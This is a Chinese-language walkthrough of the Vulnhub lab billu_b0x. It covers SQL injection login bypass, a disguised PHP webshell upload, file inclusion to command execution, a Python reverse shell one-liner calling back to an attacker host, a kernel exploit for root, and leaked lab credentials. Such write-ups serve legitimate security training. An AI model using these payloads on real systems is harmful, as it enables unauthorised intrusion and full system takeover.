Vulnhub打靶记录:billu_b0x
相关信息
kali:10.0.0.9/24
靶机:10.0.0.20/24
靶机介绍:[billu: b0x ~ VulnHub](https://www.vulnhub.com/entry/tre-1,483/)
靶机下载:https://download.vulnhub.com/billu/Billu_b0x.zip
目标:root
权限
难度:中(两种渗透思路)
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
注意:这个靶机在导入时需要勾选下面这个选项,否者无法正常发现主机。该选项表示保留靶机原来的MAC地址,不进行改变。
文字思路
全流程思路:
- 主机发现 端口扫描
- 信息搜集:
web
路径爬取非常重要 - sql注入(
sqlmap
跑不出来):非常看运气,不然很难发现。同时也然我们看到非常规的sql
注入测试。 - 文件包含 文件上传
- 代码审计:解释了
sql
注入的原因 - 内核漏洞:使用的这个脚本非常常用
- 文件下载:通过这个漏洞实现代码审计和敏感配置文件的读取
- 密码复用
下意识的操作
- 在
web
应用中的phpmyadmin
的主目录中有个config.inc[.php]
的文件,里面包含了非常敏感的一些信息,在渗透测试中需要给予高度的重视。 web
的参数既可以在url
中以GET
方法获取,也可以在web
请求体中以POST
方法获取。
主要的知识点
- 文件包含,下载
sql
注入:其中特殊字符非常重要
具体流程
信息搜集
-
主机发现,端口扫描,版本扫描 。由于使用了脚本可以看出服务的相关
cookie
和相关的flag
未设置。 -
登陆
web80
首页面,发现提示需要进行sql
注入。-
万能密码:使用简单的万能密码如:
' or 1=1; --
类似密码是无法进入的。 -
burpsuite
的载荷上传爆破:将用户名和密码设置为两个变量,选择
Cluster bomb
攻击模式,建议使用burpsuite
专业版速度才够快。这非常需要足够的幸运,不然进本跑不出来。-
用户名的载荷:
/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt
-
密码载荷:这个使用键盘上的所有特殊字符进行尝试。
-
-
-
通过返回包的长度和渲染出来的网页内容,可以确定
sql
注入的组合为:or 0=0 #
和\
。
文件上传漏洞
-
键入获取的
sql
注入组合成功的登陆进行后台页面,发现后台有两个用户。进一步浏览网页功能发现一个可以进行图片上传的地方,尝试进行
PHP
一句话木马上传并不成功,发现目标服务器是存在文件过滤的。(一句话木马:) -
使用
burpsuite
抓包,进行文件上传的绕过,可以轻松的发现靶机对上传文件进行了:文件后缀,MIME Types,文件头,这三种过滤方式。对应的进行绕过就好,需要注意png
的文件头是:GIF89a;
。可以发现上传的图片显示在用户页上,只不过无法加载,点击上传图片的连接获得它在靶机上保存的相对位置:
/uploaded_images/payload.png
。
文件包含/突破边界
虽然恶意图片成功上传,但是其是以
.png
为结尾进行上传的,里面的恶意PHP
代码是无法被PHP
成功解析的。所以进一步进行寻找文件包含漏洞就显得额外重要。
-
各种方法已经试过,如源码读取,参数猜解都没有很好的思路,就差路径爬取了。键入下列命令:
dirsearch -u http://10.0.0.20
,重点关注add.php
文件。 -
经过访问后
add.php
和add
是同一个文件,它们的页面非常非常的熟悉,就是刚刚文件上传漏洞时使用的add
功能有一样的排版。所以可以大胆的猜测后台实现图片添加这个功能时,其实是对这个add.php
文件进行的调用。注意:更为关键的是对add.php文件包含后,将其解析为php文件。
通过对后台上传图片页面的抓包也可以看出来,有个参数
load
就是add
。 -
既然后台的
add
功能是通过文件包含来实现的,是否能让其包含指定的任何文件?测试发现居然可以包含/etc/passwd
本地文件。那么让其包含上传的恶意
png
文件,它是否也会将其解析为PHP
?同时取得上传的cmd
参数为which nc
的url
编码, 可以发现成功的进行了执行,还确定了靶机上存在nc
。比较奇怪的是恶意代码为
$_GET
方式接收cmd
参数,而我们请求的方式为post
,却依然可以使用url
传参的方式进行参数传递,不知道为什么。所以最好恶意代码用$_REQUEST
方法来接收参数。 -
但是使用
nc
发现一直无法成的进行回连到4422
端口,使用python
才成功进行反弹,记得对下面payload
进行url
编码。python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.9",4422));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
提权
-
当查看到靶机的内核版本时,不难发现其版本较低。
-
在漏洞库中进行相关参数的搜索,一个经常使用的C语言脚本
37292.c
,只需要在靶机上编译后执行即可。(在本系列的第一台靶机上就用过该脚本) -
通过
python
开启的http
网页服务,让靶机获取该C语言脚本,然后进行编译,再赋予执行权限进行执行发现成功进行提权。
相关payload
python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.9",4422));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
复盘/相关知识
复盘
另一种提权思路,是通过文件下载漏洞获取敏感信息进行密码复用,而非上面的文件包含漏洞来实现突破边界。
注意文件包含和文件下载漏洞的区别
-
对
web
路劲爬取的进一步查看,发现几个非常具有特点的文件路劲。-
test[.php]
:访问后直接提示有个file
参数,可以大胆猜测其赋值可以为一个文件路径。但是在用它原本的请求方式
GET
来添加参数时是无法成功的。当修改请求方式为
POST
时再添加参数就可以发现成功的包含index.php
文件,这个漏洞与文件包含漏洞是不同的,本质上是文件下载漏洞,需要注意一下几点确保文件下载成功: -
index.php
:通过test.php
对其进行下载,再白盒审计,可以解释or 1=1 #
和\
为什么能够绕过登陆验证。$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''; # 原语句 $run='select * from auth where pass=''.$pass.'' and uname=''.$uname.'''; # \转译\'的意思,去掉\ $run='select * from auth where pass='pass' and uname='uname''; # 结合php引用参数的方式,进一步精简 $run='select * from auth where pass='\' and uname='or 0=0 #''; # 带入恶意参数后 $run='select * from auth where pass='' and uname='or 0=0 # 由于\转移'还是',#在PHP中表示单行注释,所以生效的sql语句是select * from auth where pass='' and uname=, 后面的or 0=0是另外的恒真的逻辑判断进而导致:mysqli_num_rows($result) > 0这个登陆判断为真,然后完成登陆的绕过。
-
c.php
:下载后可以发现数据库的登陆用户和密码:billu : b0x_billu
-
phpmy
:非常像phpmyadmin
这个web
应用的文件目录,不妨进行访问。发现其正是PHPmyadmin
的后台登陆页面,使用billu : b0x_billu
可以成功的登陆到后台,并没有是太大的漏洞,看看就行。(注意进入后台获取密码后进行复用尝试)在对这个文件目录进行迭代爬取,发现非常关键的两个配置文件
config.inc.php
。使用文件下载漏洞后可以查看配置内容,发现一个非常敏感的用户和他的登陆密码:
root:roottoor
-
-
尝试进行
ssh
登陆,竟然成功以root
身份登陆,以这种方式完成打靶。